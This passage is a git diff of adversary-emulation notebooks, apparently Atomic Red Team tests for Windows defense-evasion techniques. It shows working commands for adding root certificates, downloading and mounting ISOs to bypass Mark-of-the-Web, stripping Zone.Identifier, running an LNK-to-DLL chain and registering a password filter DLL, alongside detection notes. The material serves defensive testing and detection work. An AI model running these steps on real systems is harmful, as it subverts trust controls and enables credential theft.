"Invoke-AtomicTest T1553.004 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "59145870", + "id": "affb7dde", "metadata": {}, "source": "#### Cleanup: \n```powershell\ntry {\n$cert = Import-Certificate -FilePath $env:Temp\\rootCA2.cer -CertStoreLocation Cert:\\LocalMachine\\My\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\nGet-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n} catch { }\n```" }, { "cell_type": "code", "execution_count": null, - "id": "87cf1edb", + "id": "bd625ccc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "6bf18f0c", + "id": "18bee840", "metadata": {}, "source": [ - "### Atomic Test #6 - Add Root Certificate to CurrentUser Certificate Store", + "### Atomic Test #7 - Add Root Certificate to CurrentUser Certificate Store", "The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.\nKeys will look like - \\SystemCertificates\\CA\\Certificates or \\SystemCertificates\\Root\\Certificates\nReference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -215,28 +250,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b8012ad2", + "id": "d092a11f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 6" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "6a5cf055", + "id": "1a7af100", "metadata": {}, "source": "#### Cleanup: \n```powershell\nGet-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item \n```" }, { "cell_type": "code", "execution_count": null, - "id": "c8b3aaa1", + "id": "61ae611e", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1553.004 -TestNumbers 6 -Cleanup" + "source": "Invoke-AtomicTest T1553.004 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "8dfa244a", + "id": "44513910", "metadata": {}, "source": "## Detection\nA system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072" } @@ -244,13 +279,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1553.005.ipynb b/playbook/tactics/defense-evasion/T1553.005.ipynb index 4c10bb79..aaddcb23 100644 --- a/playbook/tactics/defense-evasion/T1553.005.ipynb +++ b/playbook/tactics/defense-evasion/T1553.005.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "197cff1e", + "id": "2c840953", "metadata": {}, - "source": "# T1553.005 - Mark-of-the-Web Bypass\nAdversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)" + "source": "# T1553.005 - Mark-of-the-Web Bypass\nAdversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)" }, { "cell_type": "markdown", - "id": "218f6ee7", + "id": "3c1f6bc8", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "df4fc0bc", + "id": "95eaf4ed", "metadata": {}, - "source": "### Atomic Test #1 - Mount ISO image\nMounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1553.005.iso must exist on disk at specified location (#{path_of_iso})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1553.005\\bin\\T1553.005.iso) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1553.005\\bin\\T1553.005.iso) -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/T1553.005.iso -OutFile \"PathToAtomicsFolder\\T1553.005\\bin\\T1553.005.iso\"\n\n```" + "source": "### Atomic Test #1 - Mount ISO image\nMounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1553.005.iso must exist on disk at specified location (#{path_of_iso})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1553.005\\bin\\T1553.005.iso\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1553.005\\bin\\T1553.005.iso\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/T1553.005.iso -OutFile \"PathToAtomicsFolder\\T1553.005\\bin\\T1553.005.iso\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b340051a", + "id": "e0c26593", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "22f4edf0", + "id": "c857f57e", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,87 +38,87 @@ { "cell_type": "code", "execution_count": null, - "id": "2c21d75a", + "id": "0271fac4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6e9e538f", + "id": "59d4c9de", "metadata": {}, "source": "#### Cleanup: \n```powershell\nDismount-DiskImage -ImagePath \"PathToAtomicsFolder\\T1553.005\\bin\\T1553.005.iso\" | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fde13188", + "id": "2273062d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "24fe5fb7", + "id": "01db7175", "metadata": {}, - "source": "### Atomic Test #2 - Mount an ISO image and run executable from the ISO\nMounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. \nUpon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing \"Hello, World!\". \nISO provided by:https://twitter.com/mattifestation/status/1398323532988399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/, \n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: FeelTheBurn.iso must exist on disk at specified location (#{path_of_iso})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1553.005\\bin\\FeelTheBurn.iso) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1553.005\\bin\\FeelTheBurn.iso) -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/FeelTheBurn.iso -OutFile \"PathToAtomicsFolder\\T1553.005\\bin\\FeelTheBurn.iso\"\n\n```" + "source": "### Atomic Test #2 - Mount an ISO image and run executable from the ISO\nMounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. \nUpon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing \"Hello, World!\". \nISO provided by:https://twitter.com/mattifestation/status/1398323532988399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/, \n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: FeelTheBurn.iso must exist on disk at specified location (#{path_of_iso})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1553.005\\bin\\FeelTheBurn.iso\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1553.005\\bin\\FeelTheBurn.iso\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/FeelTheBurn.iso -OutFile \"PathToAtomicsFolder\\T1553.005\\bin\\FeelTheBurn.iso\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8f826fa1", + "id": "f61c7adc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "487cc85b", + "id": "d330d98c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$keep = Mount-DiskImage -ImagePath \"PathToAtomicsFolder\\T1553.005\\bin\\FeelTheBurn.iso\" -StorageType ISO -Access ReadOnly\n$driveLetter = ($keep | Get-Volume).DriveLetter\ninvoke-item \"$($driveLetter):\\hello.exe\"\n```" + "```powershell\nMount-DiskImage -ImagePath \"PathToAtomicsFolder\\T1553.005\\bin\\FeelTheBurn.iso\" -StorageType ISO -Access ReadOnly\n$keep = Get-Volume -FileSystemLabel \"TestIso\"\n$driveLetter = ($keep | Get-Volume).DriveLetter\ninvoke-item \"$($driveLetter):\\hello.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "98b82c50", + "id": "8c6b41b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "baa4a3f9", + "id": "76bb694f", "metadata": {}, "source": "#### Cleanup: \n```powershell\nDismount-DiskImage -ImagePath \"PathToAtomicsFolder\\T1553.005\\bin\\FeelTheBurn.iso\" | Out-Null\nStop-process -name \"hello\" -Force -ErrorAction ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d5d08813", + "id": "a7766c68", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "51f8da37", + "id": "779d4cdd", "metadata": {}, "source": "### Atomic Test #3 - Remove the Zone.Identifier alternate data stream\nRemove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.\nRemoving this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: A test file with the Zone.Identifier attribute must be present.\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:tmp\\ReadMe.md) { EXIT 0 } else { EXIT 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md -OutFile $env:tmp\\ReadMe.md\nSet-Content -Path $env:tmp\\ReadMe.md -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c0a21d4f", + "id": "482565ca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "267ca184", + "id": "e0c96453", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -128,42 +128,42 @@ { "cell_type": "code", "execution_count": null, - "id": "17e819ab", + "id": "401005ff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "19f2c64e", + "id": "2134d187", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-Content -Path $env:tmp\\ReadMe.md -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'\n```" }, { "cell_type": "code", "execution_count": null, - "id": "92fe1c1d", + "id": "cebfe7b5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "b22cd45f", + "id": "bd8963a3", "metadata": {}, - "source": "### Atomic Test #4 - Execute LNK file from ISO\nExecutes LNK file document.lnk from AllTheThings.iso. Link file executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll from the ISO which spawns calc.exe.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AllTheThings.iso must exist on disk at specified location (#{path_of_iso})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1553.005\\bin\\AllTheThings.iso) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1553.005\\bin\\AllTheThings.iso) -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/AllTheThings.iso -OutFile \"PathToAtomicsFolder\\T1553.005\\bin\\AllTheThings.iso\"\n\n```" + "source": "### Atomic Test #4 - Execute LNK file from ISO\nExecutes LNK file document.lnk from AllTheThings.iso. Link file executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll from the ISO which spawns calc.exe.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AllTheThings.iso must exist on disk at specified location (#{path_of_iso})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1553.005\\bin\\AllTheThings.iso\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1553.005\\bin\\AllTheThings.iso\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/AllTheThings.iso -OutFile \"PathToAtomicsFolder\\T1553.005\\bin\\AllTheThings.iso\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1dda750b", + "id": "67d228cb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f182d461", + "id": "1b0c77d5", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -173,28 +173,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a20a7293", + "id": "317db326", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "f0c7076c", + "id": "5388b54b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nDismount-DiskImage -ImagePath \"PathToAtomicsFolder\\T1553.005\\bin\\AllTheThings.iso\" | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "36550396", + "id": "4407b8f5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1553.005 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "9b4850b6", + "id": "b0388353", "metadata": {}, "source": "## Detection\nMonitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)" } @@ -202,13 +202,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1553.006.ipynb b/playbook/tactics/defense-evasion/T1553.006.ipynb index 68aae569..77a6f609 100644 --- a/playbook/tactics/defense-evasion/T1553.006.ipynb +++ b/playbook/tactics/defense-evasion/T1553.006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ee561cda", + "id": "b4975a24", "metadata": {}, "source": "# T1553.006 - Code Signing Policy Modification\nAdversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)" }, { "cell_type": "markdown", - "id": "2613e82a", + "id": "99824d1b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "17524d81", + "id": "300895df", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1553.ipynb b/playbook/tactics/defense-evasion/T1553.ipynb index aea23764..e2fae444 100644 --- a/playbook/tactics/defense-evasion/T1553.ipynb +++ b/playbook/tactics/defense-evasion/T1553.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "0dc4f8d6", + "id": "3f571f61", "metadata": {}, "source": "# T1553 - Subvert Trust Controls\nAdversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) " }, { "cell_type": "markdown", - "id": "48fbb9e2", + "id": "f7e05b94", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a579dc26", + "id": "ee92e7d4", "metadata": {}, "source": "## Detection\nCollect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. " }, { "cell_type": "markdown", - "id": "60a42e78", + "id": "200e111c", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to determine adversary capabilities or preferences by controlling aspects of the engagement environment.\n#### Use Case\nIn an adversary engagement scenario, a defender can implement weak security controls that an adversary could subvert in order to further their attack.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1556.001.ipynb b/playbook/tactics/defense-evasion/T1556.001.ipynb index 67adae10..4c668a80 100644 --- a/playbook/tactics/defense-evasion/T1556.001.ipynb +++ b/playbook/tactics/defense-evasion/T1556.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "faf194ba", + "id": "cb3c5b3a", "metadata": {}, "source": "# T1556.001 - Domain Controller Authentication\nAdversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)" }, { "cell_type": "markdown", - "id": "53039549", + "id": "b0fef256", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "60e036c2", + "id": "393d8556", "metadata": {}, "source": "## Detection\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1556.002.ipynb b/playbook/tactics/defense-evasion/T1556.002.ipynb index fd3a7847..bc1e3ee2 100644 --- a/playbook/tactics/defense-evasion/T1556.002.ipynb +++ b/playbook/tactics/defense-evasion/T1556.002.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "726d0b0d", + "id": "540ef309", "metadata": {}, "source": "# T1556.002 - Password Filter DLL\nAdversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)" }, { "cell_type": "markdown", - "id": "5fd25a9a", + "id": "057c05aa", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "74adb1e7", + "id": "e27c655e", "metadata": {}, - "source": "### Atomic Test #1 - Install and Register Password Filter DLL\nUses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for 